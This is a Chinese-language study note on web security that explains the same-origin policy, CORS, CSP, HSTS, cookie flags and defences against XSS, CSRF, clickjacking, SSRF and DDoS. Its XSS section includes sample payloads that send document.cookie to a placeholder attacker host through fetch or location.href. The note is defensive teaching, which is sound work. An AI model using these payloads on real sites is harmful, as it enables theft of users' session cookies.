web安全笔记

web安全问题来源预览

web(World Wide Web)万维网,是一种基于超文本标记语言(Hyper Text Markup Language, HTML)和超文本传输协议(Hyper Text Transfer Protocol,HTTP),建立在互联网(Internet,网络与网络之间通过一组通用的协议相连的组成的庞大网络,又称网际网络。集合关系:互联网>因特网>万维网)上全球性的动态图形媒体化网络服务系统。

根据定义描述,我们涉及到了web程序和Internet。那程序本身,程序与程序的接口,程序与网络设备的接口,网络设备与网络设备的接口,网络设备本身都是可能存在不完美,存在可攻击的漏洞。web程序中主要涉及到HTML、CSS、Javascript及其他图片、音视频等媒体资源;web程序需要在浏览器等程序中运行;浏览器需要在系统程序下运行,需要与系统的网络模块程序对接;网络模块程序除了和浏览器程序对接,还需要和网络硬件设备对接,网络进入互联网后还要各种网络硬件设备对接中转数据,网络硬件设备中还需程序处理再转到其他网络中转设备或计算机设备…

具体一点看,一般我们在计算机设备上使用的web应用程序(这里的计算机比较广义,包括手机等移动设备、物联网设备:一般内嵌单片机等小型或简易计算机),那我们回顾一下计算机网络课程的相关知识(应用层->[会话层->表示成]->传输层->网络层->数据链路层->物理层间相关协议和传输及解析过程等),再结合我们在web应用使用场景和开发中用到的技术知识,知道哪些地方可能被攻击,我们就容易理解web安全应该做什么了。大概可以分为两大类,web应用端和web服务端程序包括浏览器在内的程序,即针web本身服务相关程序的安全;web服务使用到的计算机网络模块程序和设备,路由器等传输介质,即针对web服务使用网络过程中的安全。

针web本身服务相关程序的安全

  • 程序设计漏洞导致如:密码、机密、隐私、金钱等被盗取,给用户造成巨大的经济损失和安全威胁等危害,对社会造成恐慌等不必要的危机。

针对web服务使用网络过程中的安全

  • DNS劫持、链路层数据拦截等,除了盗取数据外,攻击者对受害者连网设备挂马,锁定等,阻碍用户的正常使用,甚至敲诈勒索,谋取钱财等恶劣行为。
  • 服务器被分布式拒绝服务(Distributed Denial of Service,DDoS。TCP SYN攻击、畸形数据包攻击、UDP洪水攻击和ICMP洪水攻击)攻击,如果没有防御措施,服务器资源,网络带宽等超负载而不能对正常用户提供服务。

综合安全问题

  • 有时候使用4G网访问一些http的网站,页面会额外出现一个气泡,点开是我们购买的4G卡的网络运营商的广告面板。这里网络运营商拦截了我们的请求,并改写了我们访问的web应用的内容。
  • 有时候还要考虑当地法律法规,比如许多国家或地区禁止数据过境,就是在本国产生的数据无论应用提供商是哪个国家的都只能存储在该国内或限制地区内。

web安全防护我们需要做什么

做安全我们经常会问自己,前面的节点或者后面的节点都做好了安全,现在我这一环节还需要做吗?很常见的例子是XSS的用户输入过滤,在存的时候过滤呢,还是取出来展示的时候过滤?已经有CSP这些内容安全限制了我们还需要去过滤吗?需要,有一天我们需要引入一个可信任的库,需要执行eval,那我们是在现有的CSPscript-src中加unsafe-eval呢,还是自己重写一个不用eval或new Function([arg1[, arg2[, ...argN]],] functionBody)的库?在实践中安全防护宁可多一步,我们想着其他节点会做,其他节点的人也会想着我们会做,在规范没有制定完善或者不能被大家采纳并完全推行的情况下建议自己已知的都做。因为今天对接的是考虑到了这个安全情况的团队,明天遇到的可能没有考虑到。每个节点的使用场景也可能不同,前端直接面对用户的操作,现有的API可能只或还要考虑OpenAPI等非浏览器操作的场景。

web最早的设计,假设了网络环境是可信任的,比如:HTTP是明文传输的,在网络中个各个路由节点都可以拦截到传送的明文信息,如果被不法分子利用就可能会危害用户的利益,那web安全防护我们应该做些什么,怎么做才算到位呢?好在后来为了防止web应用使用中的恶意攻击,RFC等Internet相关标准协会又设计了许多新的协议来提升web应用使用过程中的安全性。现在很多库和浏览器会默认给我们做一些安全方面的防护,这里我们来看看web中的一些普遍的安全问题及攻防策略。

HTTP访问控制

同源策略

为了防止web应用页面中引入恶意可执行脚本文件,浏览器实现了同源策略,用于控制当前源加载的文档和脚本与来自其他源的资源的交互,隔离潜在风险。

同源的判断条件

如下,4个属于非同源,同源需要端口号,协议,域名完全相同,也即是三者有一不同都会受到同源策略限制,1与3或4都是不同域

  1. https://www.alesir.com
  2. http://www.alesir.com
  3. https://alesir.com
  4. https://app.alesir.com

note: 特别的,当设置1中页面设置document.domain=alesir.com时,1和3可以通过同源限制

策略的影响范围

我们来看一下web应用中哪些可能涉及到跨域资源交互的地方。

  • 数据存储localStoragesessionSorageIndexedDB是分开存储的不能跨域读写,更不能接收读写通知事件
  • 由 XHR 或 Fetch 发起的HTTP请求,受到同源策略控制。
  • cookie根据不同源分开存储和传递,但子域可以共享父域的cookie,如www.alesir.com可以访问或设置alesir.com下的cookie,不能访问app.alesir.com下的cookie。这类似继承,子能继父,父访不知道子。
  • <script src=""></script> 受同源控制,但通常资源文件设置了CORS值为*,可以访问执行,但脚本错误默认只能在同源的脚本中捕捉到;
  • <link rel="stylesheet" href=""> 引入样式一般不受同源限制,但有的特殊情况-参考chromium issue:9877

@font-face Web 字体 (CSS 中通过 @font-face 使用跨域字体资源), 因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用。

@font-face {
  font-family: dc2-icons;
  src: url(//static.alesir.com/pub/www/fonts/dc2-icons.1dea9cbe3f.eot);
  ...
}
  • <img><video><audio>图片,媒体音视频标签引入不受同源策略控制,但使用 drawImage 将 Images(包括img)/video 绘制到 canvas,WebGL 贴图等可对资源修改入侵的操作受同源策略控制
  • <iframe>嵌入网页,<object>嵌入外部资源图片、文档、音视频等,可以通过X-Frame-Options: sameorigin来控制跨域嵌入行为,关于X-Frame-Options后文ClickJacking攻击中会讲到
<!-- Chrome中渲染后报错,Refused to display 'https://www.tutorialspoint.com/es6/es6_tutorial.pdf' in a frame because it set to 'sameorigin'. -->
<object type="application/pdf" data="https://www.tutorialspoint.com/es6/es6_tutorial.pdf" width="600" height="400">
</object>

<iframe src="https://app.alesir.com"></iframe>
  • window.parent, window.top, window.open, window.opener, iframe.contentWindow在非同源时某些属性会受到限制。比如window.open打开一个非同源的页面的返回值windowObjectReference受同源限制(一般能获取窗口window的引用,及受限的部分属性及方法);如后面会讲到的ClickJacking防御JS实现会用到的window.top.location等涉及到跨域网页隐私信息的api也受同源限制
  • Shared Worker 在多个窗口间共享时受同源限制
  • WebAssembly 模块文件受同源策略限制

跨域资源共享机制(Cross Origin Resource Share,CORS)

实际操作中,我们还是有很多情况需要跨域资源共享的,我们来看一下,比如:

  • 脚本等资源请求,XHR 或 Fetch API发起的接口请求,可以通过服务器响应中CORS Header。
// * 表明,该资源可以被任意外域访问,一般用于资源类文件
Access-Control-Allow-Origin: *
// 一般用于API接口,可以根据请求来源判断并返回对应host
Access-Control-Allow-Origin: https://www.alesir.com

通常为了避免对服务器上的用户数据产生未知影响,浏览器会对跨域资源请求提前向服务器发起包含实际请求的信息,如

// 实际请求方法和将携带的Header
Access-Control-Request-Method: POST 
Access-Control-Request-Headers: content-type,...,dicloud-header-zoneid

等Header的OPTIONS预检请求,如果服务器响应正确的CORS Header,包含

// 服务器允许客户端使用的方法、可携带的Header、允许请求的源、该响应的有效时间为 86400 秒
Access-Control-Allow-Methods: PUT,PATCH,POST,GET,DELETE
Access-Control-Allow-Headers: content-type,...,dicloud-header-zoneid
Access-Control-Allow-Origin: https://www.alesir.com
Access-Control-Max-Age: 86400
// Access-Control-Expose-Headers: xxx

等,确认可以跨域共享了再发起真实的请求。关于哪些情况的请求不需要预检参考MDN

  • 我们前后端分离,域名也不同,满足跨域,在请求数据的时候需要跨域携带会话凭证cookie。但要让XHR或Fetch跨域携带HTTP cookie或HTTP 认证信息凭证除了配置上面的CORS Header,请求中还需配置XHR:withCredentials=trueFetchAPI:credentials=same-origin
// XHR
let xhr = new XMLHttpRequest()
xhr.open('POST', 'https://api.alesir.com/xxx', true)
xhr.withCredentials = true
xhr.onreadystatechange = handler
xhr.send()
// Fetch API
fetch(https://api.alesir.com/xxx'', {
  credentials: 'same-origin'
})

响应头中需添加

Access-Control-Allow-Credentials: true
  • 我们在做前端脚本错误监控的时候会用到window.onerror,除了在响应头中加上正确的CORS Header,在引用脚本的时候还需要添加crossorigin属性。
<script type="text/javascript" src="//static.alesir.com/static/www/js/dc2.6969d5a4bb.js" crossorigin="anonymous"></script>

window.postMessage()实现跨域资源共享

同源情况下我们可以通过Storage API,localStorage,onstorage事件,IndexedDB等实现不同窗口间的数据共享及通知。跨域的情况下我们还可以通过Web API,window.postMessage()来实现不同窗口或与web worker间的通信及资源共享。详细API

// 主窗口向指定窗口发送消息
// 第一个参数主流浏览器会序列化对象,不需要自己处理,兼容处理JSON.stringiry(data)
// 第二个参数,确定向指定窗口的特定源发送消息,别忘了iframe.src可能被改变,所以不要随便指定通配源"*"
// 返回undefined
targetWindow.postMessage({directive: 'request:connect', uuid: uuid++, content: { request: ['getUserInfo', 'getUserPassword'], ... }, 'https://www.alesir.com/activity.html')
// 主窗口接收其他窗口消息
window.addEventListener('message', e => {
  // 对未知来源origin的信息不做处理,防止信息泄露
  if (!whiteList.includes(e.origin)) return false
  // e.source是来源窗口的window对象,非同源或没有配置跨域共享则改window是受限的,location等信息不可取
  // 根据收到的消息supports: ['getUserInfo'],处理数据e.data(postMessage第一个参数,传什么接什么,包括对象、字符串),
  e.source.postMessage({directive: 'request:getUserInfo', uuid, content: { name: 'alesir', ...}}, e.origin)
}, false)

// target窗口,接受主窗口发送的消息
targetWindow.addEventListener('message', e => {
  if (!whiteList.includes(e.origin)) return false
  // 根据响应,处理业务,发起新请求
  e.source.postMessage({directive: 'response:connect', uuid: uuid++, content: { supports: ['getUserInfo'], ...}}, e.origin)
  // ...
}, false)

实例 我们需要在多个系统(域名不同)之间同步一些用户信息,如果使用在父级域种cookie的方式,可能会出现一些不可预料的信息泄露,比如有一个子域部署的是二次开发的某个开源系统,那该系统如果被发现有漏洞,攻击者就可能利用这些漏洞盗取你在父域种的用户信息。因此我们采用postMessage的方式在第一个获取到这些信息的窗口中iframe引入另外需要共享数据的域的接收页面,通不过去后存储

<iframe id="cross-orgin" src="//www.alesir.com/_/icf.html" style="display: none;"></iframe>
<!-- icf.html -->
<script>
  window.addEventListener('message', function(e) {
    if (whiteList.includes(e.origin)) {
      var message = e.data || {}
      if (message.directive === 'request:data-sync') {

        let content = message.content || {};
        for (var i in content) {
          window.localStorage[i] = content[i];
        }

        // 针对 safari 特殊处理
        if (window.navigator.vendor.indexOf('Apple') > -1) {
          for (let i in content) {
            document.cookie = i + '=' + content[i] + '; max-age=1800; domain=' + window.location.hostname;
          }
        }
        e.source.postMessage({
          directive: 'response:data-sync'
          uuid: message.uuid
          content: 'done'
        })
      }
      // ... 其他指令
    }
  }, false);
</script>

其他跨域共享资源的方式和场景

  • JSONP(JSON with Padding)
    <!-- 需要服务端配合实现,利用script src请求脚本资源不受跨域限制的特点实现跨域请求服务器数据。看下JSONP的src一般为http(s)://api.alesir.com/jsonp/getprodlist?cb=getProdList形式,然后把这个脚本插入DOM解析执行 -->
    <script src="http(s)://api.alesir.com/jsonp/getprodlist?cb=getProdList"></script>
    <!-- 返回后相当于在网页中执行如下脚本 -->
    <script>
    // 即,调用了getProdList方法并带了服务器返回的参数,这个方法是网页传给服务器的,因此用来处理什么网页就自己根据和服务器接口的协商控制了。
    getProdList([{id:1,..},{id:2,..},{id:3,..}...])
    </script>
  • document.domain + iframe(需要主域相同)
  • 通过hash方法(location.hash + iframe)
  • 通过window.name方法(window.name + iframe)
  • 降域(需要主域相同)

内容安全策略(Content Security Policy, CSP)

CSP,顾名思义就是关于web内容安全控制的协议,是一个用于检测和缓解XSS等攻击的方法,不仅提供了多维度的内容安全控制策略,还可动态上传CSP违规报告来监视攻击你网站的尝试和攻击者

CSP可以配置的指令

  • 控制嵌入资源的来源值
    • url匹配,可以使用*号通配符
    • 关键字字符串 'none' 'self' 'unsafe-inline' 'unsafe-eval'
    • scheme-source data:http:
  • 各种资源的来源指令
    • base-uri 后面所有资源的basePath
    • form-action
    • default-src 各资源的默认值child-src/connect-src/font-src/img-src/media-src/object-src/script-src/style-src
    • connect-src XHR、WebSocket、EventSource
    • child-src 子窗口或web worker
    • object-src <object>
    • script-src JS脚本资源,
    • worker-src web worder脚本来源
    • style-src
    • img-src
    • 更多详细策略指令配置参考
  • 取值

可以看出,CSP策略配置是白名单的形式,不在白名单的默认,

<meta>方式

<meta http-equiv="Content-Security-Policy" content="script-src 'self' static.alesir.com data:; style-src 'static.alesir.com'; uri-report /api/csp-reports">

HTTP Header方式

Content-Security-Policy: default-src 'self'

我们来看下如果主要控制脚本的攻击,配置script-src,根据需要可以多种规则组合配置出自己的策略

如果添加了违规报告的配置,出现违规的浏览器将以POST请求的形式,把发生违规的文档相关信息发送给我们用report-uri指令配置的url接口服务,格式如下

{
  "csp-report": {
    "document-uri": "https://app.alesir.com", // 发生违规的文档URI
    "referrer": "", // 发生
    "blocked-uri": "https://tracker.example.com",
    "violated-directive": "script-src 'self' static.alesir.com data:", //违反的策略名称。
    "original-policy": "script-src 'self' static.alesir.com data:; style-src 'static.alesir.com'; uri-report /api/csp-reports"
  }
}

HTTPS

HTTPS相比于HTTP对数据传输做了加密,相对来说数据在传输过程中更不容易被破解劫持,传输数据更安全。
关于https的原理参考

服务器重定向网站到HTTPS

nginx配置

server {
    listen 80;
    server_name www.alesir.com;
    rewrite ^(.*)$ https://$host$1 permanent;
}

HTTP Strict Transport Security, HSTS

HSTS协议通知浏览器禁止使用HTTP访问,需要转到HTTPS
服务器返回Header,超时通常设置一两年,一般换到HTTPS后也不会再换回HTTP,且每次收到改Header都会更新时间,在这期间浏览器都会尝试将HTTP转到对应HTTPS的请求。

Strict-Transport-Security: max-age=63072000
Strict-Transport-Security: max-age=63072000; includeSubDomains // 包括子域名
Strict-Transport-Security: max-age=63072000; preload 、、

Cookie安全

cookie是服务器发送到用户浏览器或用户在浏览器设置并保存在本地的一小块数据,他会在浏览器下次向同一服务器再次发起请求时被携带发送给服务器。cookie常作为会话状态的存储和携带者,因此cookie相关的漏洞也是攻击者常攻击的目标。关于Cookie的知识请参阅MDN Cookie,这里只涉及安全相关的内容。

名称: Cookie名称可以添加__Secure-__Host-前缀防止cookie被不安全的源覆盖
__Host-: 标记只有当前完整域下使用的cookie,设置Path=/,但不设置Domain
__Secure-: 标记只是从安全来源(如HTTPS)发送的cookie
Secure: 必须使用Secure标志设置所有cookie ,表示它们只应通过HTTPS发送
HttpOnly: 不需要JavaScript访问的Cookie设置为HttpOnly,比如用户认证token等

过期设置: 对于安全认证的会话标识Cookie应该设置尽快到期,防止用户离开未手动退出登录被他人恶意操作(不指定则浏览器关闭就失效,也有的浏览器有会话恢复功能)

  • Expires: 设置给定cookie的绝对到期日期,如:Mon, 16 Sep 2019 09:28:00
  • Max-Age: 设置给定cookie的相对到期日期,单位秒,如:Max-Age=1800 半小时过期

作用域:

  • Domain: 如果需要在其他域上访问Cookie,则应仅使用此设置Cookie,并且应将Cookie设置为最严格的域
  • Path: Cookie应设置为尽可能最严格的路径,但对于大多数应用程序,这将设置为根目录

SameSite: 禁止通过跨源请求(例如来自<img>标签等)发送cookie ,是一个强大的CSRF防御措施,但只有主流浏览器支持,查看支持情况;其次现在前后端分离(不在同一个域)很多时候我们需要携带api域的认证cookie。

  • SameSite=Strict: 仅在站点直接导航到时发送cookie
  • SameSite=Lax: 从其他站点导航到您的站点时发送cookie

服务器端设置cookie

Set-Cookie: TOKEN=e5e5804fa7fa616205d8772ad85b9154; Domain=api.alesir.com; Path=/; Max-Age=1800; Secure; HttpOnly;

前端存取cookie

document.cookie='nickname=alesir; path=/; max-age=7200;'
// 获取所有非HttpOnly标记的cookie字符串 document.cookie
function getCookie(key, cookie = document.cookie) {
  if (cookie.length > 0) {
    let start = cookie.indexOf(key + '=')
    if (start != -1) {
      start = start + key.length + 1
      end = cookie.indexOf(';', start)
      if (end == -1) {
        end = cookie.length
      }
      return unescape(cookie.substring(start, end))
    }
  }
  return ''
}

常见web攻击及防御

XSS

XSS(Cross-Site Scripting),缩写也可为CSS,因已有CSS级联样式表定义,故常用XSS,跨站点脚本攻击。

攻击方式:攻击者往web页面里面插入恶意可执行脚本代码,当用户浏览到页面时,嵌入的脚本被执行,进而达到盗取用户数据等目的。

漏洞来源举例

  • 开发者直接取url上的参数innerHTML塞到了页面,攻击者通过伪装链接,在将该参数的值设为script标签
// https://www.alesir.com?channel=<script>new Fetch("https://track.alesir.com/cookie=document.cookie")</script>

// 如果你的脚本是这样的
$0.innerHTML = unescape(location.search.slice(location.search.indexOf('=') + 1))

这样在网络请求中可以看到,你的cookie就被提交到攻击者的网站了,好在这种情况chrome等现代浏览器默认预先做了防御,这样写的script不会自动执行。但标签属性值嵌入攻击没有限制,浏览器阻止的是自动执行,如事件回调是用户点击操作响应的,所以没有阻止,如下

// https://www.alesir.com?channel=<script style='display:block;' onclick="fetch('https://www.alesir.com?channel=' + document.cookie)">click me!</script>

// 如果你的脚本是这样的,用户将在页面看到你的点击邀请,或者隐藏覆盖整个页面,不管你点哪里都会提交
$0.innerHTML = unescape(location.search.slice(location.search.indexOf('=') + 1))

// 如果没有防御措施,攻击者的cookie如数提交给攻击站点https://attack.example.com
// https://www.alesir.com?channel=<script style='display:block;' onclick="fetch('https://attack.example.com?cookie=' + document.cookie)">click me!</script>

// 上面的例子如果fetch API不好使,可以直接location.href
location.href='https://attack.example.com?cookie=' + document.cookie

类似的,浏览器只阻止了XHR回调中的非同源页面的自动跳转。

更常见的例子是,网站存储了攻击者的评论,然后没有任何防护的情况下直接渲染到用户界面,当用户打开网页时执行了攻击者的代码,结果同上。

  • 另外js中除innerHTML外,还有eval, new Function(),document.write(),document.writeln(),window.setInterval(),window.setTimeout(),document.createTextNode(code)等时都可能会插入脚本代码或直接执行。
var script = document.createElement('script');
var code = '(function(){' + console.log('hello') + '\n}());';
/*
script.innerHTML = code;
/*/
script.appendChild(document.createTextNode(code));
//*/
document.head.appendChild(script);
eval('console.log(1)')
document.writeln('<div onclick="console.log(1)" style="position:fixed;top:0;bottom:0;left:0;right:0;z-index:99999">')
(new Function('console.log(1)'))() // 1
setTimeout('console.log(1)', 100) // 1
setInterval('console.log(1)', 100) // 1

防御方式

用户输入过滤或转义

对可能在文档中插入或直接执行脚本的方法和操作谨慎使用,涉及到用户输入的数据要过滤,将潜在脚本等危险输入剔除;对往DOM中插入的节点包含用户输入(用户可操作的表单数据、URL等)的数据的地方预先用escape转义

过滤和转义为了防止嵌入<script>脚本标签或者<img src="" onclick="">属性方法调用,而执行攻击者脚本。因此我们通常转义<->&lt;>->&gt;等破坏攻击者脚本的解析。我们在使用一些框架如vue的时候,框架已经报我们默认做了escape,特殊的v-html的时候只会渲染预先确定的内容。

escape('<script>console.log(1);</script>')
// 输出:"%3Cscript%3Econsole.log%281%29%3B%3C/script%3E"
// 需要非输出到DOM中使用的时候再unescape

X-XSS-Protection

X-XSS-Protection: 0 // 不过滤XSS
X-XSS-Protection: 1 // 默认启用XSS过滤,清除页面不安全部分
X-XSS-Protection: 1; mode=block // 检查到XSS攻击,浏览器阻止页面加载,而不清除页面不安全部分
X-XSS-Protection: 1; report=https://www.alesir.com/_/icf.html // 使用CSP的报告功能

内容安全策略CSP

参考前文。CSP相比X-XSS-Protection可以更细致的配置策略来处理更多场景。这里对XSS不再扩展,后面在CSRF的攻击部分在结合举例。实际在使用中我们会遇到许多取舍,比如:有时候需要引入一个新的代码库,你就要考虑对这个库开放或放宽一些策略。

跨站点请求伪造(Cross Site Request Forgery, CSRF)

CSRF是一种利用用户的登录凭证,向服务器发起攻击者恶意请求的攻击方式。
比如用户在A站登录了,这时候去B站浏览,发现B站有一些吸引人的链接就去点击了,实际这些链接底下是向A站的服务器发起删除资源,转账等请求,因为用户登录的认证凭证在浏览器上自动跟随请求发送到服务器,所以这个操作成功了,给用户带来了巨大损失。
现在想想上面这个例子很不可思议,对于普通用户来说会觉得:“那我们现在浏览网页不是很危险”;对于计算机相关技术人员来说:“这怎么可能,浏览器禁止跨域请求,服务器可以判断请求来源,balabala…”,是的现在网站和浏览器实现了很多安全协议来保障我们的安全使用。那我们来梳理一下我们CSRF的攻防策略

攻防策略

前面我们看到了许多协议和策略,诸如:同源策略、CSP、安全使用Cookie等,比如:

  • 重要的操作我们避开可以直接浏览器访问的GET请求
  • 对于重要的表单提交,给每个表单加上唯一TOKEN,每次提交都校验通过后再做更改
  • 对于重要的XHR请求或者Fetch请求,每次带上唯一TOKEN,每次提交都校验通过后再做更改

接下来看看具体实现方式

加CSRF_TOKEN方式: 现在我们基本上前后端分离,前端页面在静态服务上渲染,在给每个表单添加CSRF_TOKEN实现起来又合后端耦合起来了,同时现在大家也使用XHR或者Fetch API取代了Form表单提交数据的方式,所以现在实现防御CSRF的方式一般是:

  1. 在每次登录成功后返回一个新的CSRF_TOKEN,并在cookie携带一个HTTPOnly的CSRF_TOKEN;
  2. 之后的每个重要请求都带着这个CSRF_TOKEN;
  3. 每次登录凭证过期或者在其他地方登录后,都重新生成CSRF_TOKEN给前端,就得则失效;

加验证码: 对关键操作加二次验证,图形验证码,短信验证码等都比较常见的处理方式,这个虽然会降低一定的使用体验,但对于关键操作可以减少用户自身误操作,也防止攻击者恶意操作。

ClickJacking

ClickJacking攻击是其他人嵌入我们的网页,欺骗用户输入,截取用户鼠标键盘操作,比如:

  1. 键盘事件:登录过程输入用户名和密码等操作被拦截后,你的账号和密码就直接暴露给了恶意把你的网页嵌入的站点。
  2. 鼠标事件:攻击者将我们的页面嵌入攻击者的页面,透明展示并把登录按钮或者其他关键操作按钮定位到某个吸引人的图片链接上,诱导用户点击,那将以用户的身份执行了某些破坏性操作。比如:攻击者想要骗取点赞,把自己在某社交网站的公开文章页面透明嵌入到另外一个吸引人们点击的网站,并把社交网站页面的文章电赞按钮定位到“点击有奖”之类的按钮上,其他需求的用户将可能以自己的身份为攻击者的文章点赞。

X-Frame-Options

根据需要X-Frame-Options提供了三个可能的值:

X-Frame-Options: deny // 表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
X-Frame-Options: sameorigin // 表示该页面可以在相同域名页面的 frame 中展示
X-Frame-Options: allow-from https://example.com/ // 表示该页面可以在指定来源的 frame 中展示。

note: 这里需要在HTTP Header中添加,meta设置是不生效的<meta http-equiv="X-Frame-Options" content="deny">更多参考

JS实现

判断嵌入我们页面的宿主窗口(可能是攻击者的窗口)是否可信,不可信则将宿主窗口重定向到自己真实的站点或展示其他提示。

// top是一个窗口里面最外层的window,self是当前窗口的window,如果页面没有被嵌入其他窗口top和self都是当前窗口的window
if (window.self !== window.top) {
  // 不相等直接返回空,页面不再渲染
  return false
}

需求: 这里也可以判断当前主窗口的url是否在白名单内决定是否渲染或重定向攻击者的主窗口到我们真实的页面
有的时候我们需要开发一些公共的功能页面给其他合作部门作为子窗口使用,且各部门的域不相同。关于跨域通信前面提到可以 1.页面服务器提供CORS Header; 2. 前端postMessage()等,可以web API层自动提供origin,并可以此作为参考进行白名单校验。

// iframe之间取值是受同源策略控制的,这里如果子窗口没有提供跨域资源共享是取不到主窗口的location的:
// 1. CORS 方式:子frame的页面服务器返回Header添加CORS,但我们一般直接用nginx作为前端页面服务器,或者静态页面也有直接放在CDN上的,根据请求的url(包括origin等)做细致白名单控制不是太方便,因此我们考虑做粗略的CORS,再在前端做具体url的白名单控制。
if (!whiteList.includes(window.top.location.href)) {
  return false
}
init()

// 2. postMessage()方式:在嵌入我们公共功能页面的时候,初始化前需要postMessage验证origin通过通过后页面才会渲染。
window.addEventListener('message', e => {
  if (!whiteList.includes(e.origin)) {
    return false
  }
  init()
}, false)

根据自己需要选择实现方式:

  • 比如JSSDK中有可能有一些提供给其他团队使用的功能需要用到iframe转存数据,使用JS的方式设置白名单更方便,兼容性也较好。
  • 主功能的登录页面涉及功能比较全面,没有业务必要性的情况,安全起见不提供嵌入支持。所以选择简单配置X-Frame-Options: deny的方式

SQL依赖注入

如果在涉及到用户输入存库的时候是字符拼接的方式,且没有对用户输入做过滤,那拼接出来的sql语句可能会对数据库执行恶意删除等操作。对应的解决办法就是对用户输入做过滤,排除非法字符等,

SSRF (Server-Site Request Forgery)

SSRF是一种由攻击者构造形成从服务端发起请求的一种安全漏洞,主要攻击对象为同VPC下或对等网络相连的内部服务系统。比如内部网站访问了一些攻击者构造的外网的链接,导致以内网应用的身份获取了内网才能访问的数据,并传给外网攻击者的机器

防御方法:对内网应用访问外网的权限加以限制,比如,加白名单限制,对访问外网的链接做安全检查,即过滤等,对涉及内网数据的请求加以拦截,并加入黑名单等。内网之间访问的重要数据增加数据等级并设置二次验证等。

分布式拒绝服务DDoS (Distributed Denial of Service)

单一的DoS攻击一般是一对一的,利用网络协议和系统漏洞,采用欺骗和伪装的策略来进行网络攻击,使得网站充斥着大量未完成的链接,消耗占用网络带宽和系统资源,导致网络或系统超负荷瘫痪,不能提供正常的服务。与DoS相比DDoS借助无数的被入侵的宿主机同时向目标机器发起攻击。

攻击方式

  • SYN Flood攻击: 利用TCP协议实现的缺陷,通过向网络服务器所在端口发送大量伪造源地址的攻击报文,导致目标服务器中存在大量超负荷的半开链接,从而正常的服务得到不到响应

  • UDP Flood攻击: 常见的情况利用大量UDP包冲击DNS服务器、流媒体视频服务器,由于UPD协议是无连接的,攻击者可发送大量伪造源源IP地址的UDP包

  • ICMP(Internet Control Message Protocol) Flood攻击: 常见的ping就是建立在ICMP上的,同属流量型攻击。

  • Connection Flood攻击: 这种攻击利用真实的IP向服务器发起大量链接,并且建立连接后长时间不释放,占用服务器资源,导致服务器上等待链接过多,以致资源耗尽,无法响应

  • UDP DNS Query Flood攻击: 利用大量不存在的域名向服务器发起解析请求,占用资源,使服务器不能正常响应

  • HTTP GET攻击: 同属流量型攻击,让大量宿主机同时访问目标机器

附录

附录A 名词统一

URL各段解析: https://www.alesir.com/activity.html?channel=1#buyByYear

  • https://www.alesir.com 源origin,其实这里包含端口的,https下port被隐藏了
  • https 协议名,相应的还有http、ws、wss等
  • https:// schema,相应的还有http:// ws:// wss:// data: file://
  • www.alesir.com hostname,IP或域名,不含端口,包含三级域名www,二级域名alesir,顶级域名com
  • www.alesir.com:8080 host,IP或域名,含端口,其他同上
  • 443 端口,https协议下默认port 443被隐藏了
  • /activity.html 请求路径path
  • ?channel=1 查询字符串search
  • #buyByYear hash